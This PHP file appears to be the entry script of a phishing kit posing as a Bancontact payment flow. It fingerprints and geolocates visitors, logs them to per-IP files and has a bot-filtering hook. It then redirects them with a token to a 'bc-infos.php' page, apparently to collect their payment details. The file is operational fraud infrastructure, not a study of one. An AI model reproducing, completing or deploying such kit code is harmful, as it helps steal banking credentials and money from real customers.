<?php
// error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
// @ini_set('html_errors', '0');
// @ini_set('display_errors', '0');
// @ini_set('display_startup_errors', '0');
// @ini_set('log_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);

$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();

$stripos = 0;

include 'config.php';

$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';
$hostname = gethostbyaddr($ip);

$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';

function getOS()
{
    global $user_agent;
    $os_platform = "Unknown OS Platform";
    $os_array = array(
        '/windows nt 10/i' => 'Windows 10',
        '/windows nt 6.3/i' => 'Windows 8.1',
        '/windows nt 6.2/i' => 'Windows 8',
        '/windows nt 6.1/i' => 'Windows 7',
        '/windows nt 6.0/i' => 'Windows Vista',
        '/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
        '/windows nt 5.1/i' => 'Windows XP',
        '/windows xp/i' => 'Windows XP',
        '/windows nt 5.0/i' => 'Windows 2000',
        '/windows me/i' => 'Windows ME',
        '/win98/i' => 'Windows 98',
        '/win95/i' => 'Windows 95',
        '/win16/i' => 'Windows 3.11',
        '/macintosh|mac os x/i' => 'Mac OS X',
        '/mac_powerpc/i' => 'Mac OS 9',
        '/linux/i' => 'Linux',
        '/kalilinux/i' => 'KaliLinux',
        '/ubuntu/i' => 'Ubuntu',
        '/iphone/i' => 'iPhone',
        '/ipod/i' => 'iPod',
        '/ipad/i' => 'iPad',
        '/android/i' => 'Android',
        '/blackberry/i' => 'BlackBerry',
        '/webos/i' => 'Mobile',
        '/Windows Phone/i' => 'Windows Phone'
    );
    foreach ($os_array as $regex => $value) {
        if (preg_match($regex, $user_agent)) {
            $os_platform = $value;
            break;
        }
    }
    return $os_platform;
}

function getBrowser()
{
    global $user_agent;
    $browser = "Unknown Browser";
    $browser_array = array(
        '/msie/i' => 'Internet Explorer',
        '/firefox/i' => 'Firefox',
        '/Mozilla\/5\.0/i' => 'Mozilla', // FIXED REGEX
        '/safari/i' => 'Safari',
        '/chrome/i' => 'Chrome',
        '/edge/i' => 'Edge',
        '/opera/i' => 'Opera',
        '/OPR/i' => 'Opera',
        '/netscape/i' => 'Netscape',
        '/maxthon/i' => 'Maxthon',
        '/konqueror/i' => 'Konqueror',
        '/Bot/i' => 'BOT Browser',
        '/Valve Steam GameOverlay/i' => 'Steam',
        '/mobile/i' => 'Handheld Browser'
    );
    foreach ($browser_array as $regex => $value) {
        if (preg_match($regex, $user_agent)) {
            $browser = $value;
            break;
        }
    }
    return $browser;
}

$user_os = getOS();
$user_browser = getBrowser();

// Safely get referer
$site_refer = $_SERVER['HTTP_REFERER'] ?? '';
$site = $site_refer !== "" ? $site_refer : "direct connection";

$owner = "HIDE THIS IP ADDRESS";
$owner_country = "YOUR COUNTRY TAG FOR YOUR IP ↑";

if ($ip == $owner) {
    $ip = "Owner";
    $country = $owner_country;
} else {
    $details = json_decode(@file_get_contents("http://ipinfo.io/{$ip}"));
    $country = $details->country ?? 'Unknown';
}

// Log visitor info
@file_put_contents('./visites/' . $ip . '.txt', date("Y-m-d - H:i:s - ") . $country . " " . $ip . " | " . $user_os . " | " . $user_browser . " | Come from site: " . $site . " | user agent: " . $user_agent . PHP_EOL, FILE_APPEND);

// Functions for external requests
function curl_get_contents($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_URL, $url);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
}

function fOpenRequest($url)
{
    $file = fopen($url, 'r');
    $data = stream_get_contents($file);
    fclose($file);
    return $data;
}

// GEOIP Check (with json_decode instead of unserialize)
$geoip = "https://freeipapi.com/api/json/{$ip}";
$methods = ['file_get_contents', 'curl_get_contents', 'fOpenRequest'];

foreach ($methods as $method) {
    $json = @$method($geoip);
    $data = json_decode($json, true);
    if ($data /*&& isset($data['countryCode']) && strlen($data['countryCode']) == 2*/) {
        $_SESSION['getIt'] = $method;
        break;
    }
}

if (!isset($_SESSION['getIt'])) {
    // GeoIP lookup failed – set defaults and continue rather than blocking the user
    $_SESSION['getIt'] = 'file_get_contents';
    $_SESSION['continentCode'] = 'EU'; // fallback: assume EU to avoid geo-blocking
    $_SESSION['countryCode'] = 'BE';
    $_SESSION['countryName'] = 'Unknown';
}

// Store country info
if (!isset($_SESSION['countryCode'])) {
    $getFn = $_SESSION['getIt'];
    $addrDetailsArr = json_decode($getFn($geoip), true);
    $_SESSION['continentCode'] = $addrDetailsArr['continentCode'] ?? '';
    $_SESSION['countryCode'] = $addrDetailsArr['countryCode'] ?? '';
    $_SESSION['countryName'] = $addrDetailsArr['countryName'] ?? '';
}

// CSRF token
$csrftoken = base64_encode($_SERVER['HTTP_USER_AGENT'] . $ip . date('Y:M:D'));
// Block bots
if ($stripos > 0) {
    header("location: " . $errorUrl . "?" . ($_GET['token'] ?? ''));
    exit;
}

// Handle GET parameters
if (isset($_GET['amount'])) {
    $_SESSION['amount'] = $_GET['amount'];
}

$pm = ($_GET['method'] ?? '') === 'Bancontact' ? 'bc-infos.php' : 'bc-infos.php';

$DIR = $pm . "?token=" . $csrftoken;

// Create empty user file
@file_put_contents('users/' . $ip . '.txt', '');

// Redirect to payment info
header("Location: $DIR");
exit;
